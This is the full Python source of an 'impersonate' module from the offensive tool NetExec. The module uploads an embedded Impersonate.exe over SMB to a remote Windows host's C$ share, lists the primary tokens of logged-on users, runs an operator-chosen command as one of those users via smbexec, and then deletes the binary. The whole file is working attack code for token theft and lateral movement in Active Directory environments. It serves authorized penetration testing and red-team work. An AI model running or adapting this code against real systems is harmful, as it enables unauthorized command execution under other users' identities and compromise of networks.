NetExec/nxc/modules/impersonate.py

106 lines
4.5 KiB
Python

# Impersonate module for nxc
# Author of the module : https://twitter.com/Defte_
# Impersonate: https://github.com/sensepost/Impersonate
# Token manipulation blog post https://sensepost.com/blog/2022/abusing-windows-tokens-to-compromise-active-directory-without-touching-lsass/
from base64 import b64decode
from os import path
import sys
from nxc.paths import DATA_PATH
class NXCModule:
name = "impersonate"
description = "List and impersonate tokens to run command as locally logged on users"
supported_protocols = ["smb"]
opsec_safe = True # could be flagged
multiple_hosts = True
def options(self, context, module_options):
"""
TOKEN // Token id to usurp
EXEC // Command to exec
IMP_EXE // Path to the Impersonate binary on your local computer
"""
self.tmp_dir = "C:\\Windows\\Temp\\"
self.share = "C$"
self.tmp_share = self.tmp_dir.split(":")[1]
self.impersonate = "Impersonate.exe"
self.useembeded = True
self.token = self.cmd = ""
with open(path.join(DATA_PATH, ("impersonate_module/impersonate.bs64"))) as impersonate_file:
self.impersonate_embedded = b64decode(impersonate_file.read())
if "EXEC" in module_options:
self.cmd = module_options["EXEC"]
if "TOKEN" in module_options:
self.token = module_options["TOKEN"]
if "IMP_EXE" in module_options:
self.imp_exe = module_options["IMP_EXE"]
self.useembeded = False
def list_available_primary_tokens(self, _, connection):
command = f"{self.tmp_dir}Impersonate.exe list"
return connection.execute(command, True)
def on_admin_login(self, context, connection):
if self.useembeded:
file_to_upload = "/tmp/Impersonate.exe"
try:
with open(file_to_upload, "wb") as impersonate:
impersonate.write(self.impersonate_embedded)
except FileNotFoundError:
context.log.fail(f"Impersonate file specified '{file_to_upload}' does not exist!")
sys.exit(1)
else:
if path.isfile(self.imp_exe):
file_to_upload = self.imp_exe
else:
context.log.error(f"Cannot open {self.imp_exe}")
sys.exit(1)
context.log.display(f"Uploading {self.impersonate}")
with open(file_to_upload, "rb") as impersonate:
try:
connection.conn.putFile(self.share, f"{self.tmp_share}{self.impersonate}", impersonate.read)
context.log.success("Impersonate binary successfully uploaded")
except Exception as e:
context.log.fail(f"Error writing file to share {self.tmp_share}: {e}")
return
try:
if self.cmd == "" or self.token == "":
context.log.display("Listing available primary tokens")
p = self.list_available_primary_tokens(context, connection)
for line in p.splitlines():
token, token_integrity, token_owner = line.split(" ", 2)
context.log.highlight(f"Primary token ID: {token:<2} {token_integrity:<6} {token_owner}")
else:
impersonated_user = ""
p = self.list_available_primary_tokens(context, connection)
for line in p.splitlines():
token_id, token_integrity, token_owner = line.split(" ", 2)
if token_id == self.token:
impersonated_user = token_owner.strip()
break
if impersonated_user:
context.log.display(f"Executing {self.cmd} as {impersonated_user}")
command = f'{self.tmp_dir}Impersonate.exe exec {self.token} "{self.cmd}"'
for line in connection.execute(command, True, methods=["smbexec"]).splitlines():
context.log.highlight(line)
else:
context.log.fail("Invalid token ID submitted")
except Exception as e:
context.log.fail(f"Error runing command: {e}")
finally:
try:
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.impersonate}")
context.log.success("Impersonate binary successfully deleted")
except Exception as e:
context.log.fail(f"Error deleting Impersonate.exe on {self.share}: {e}")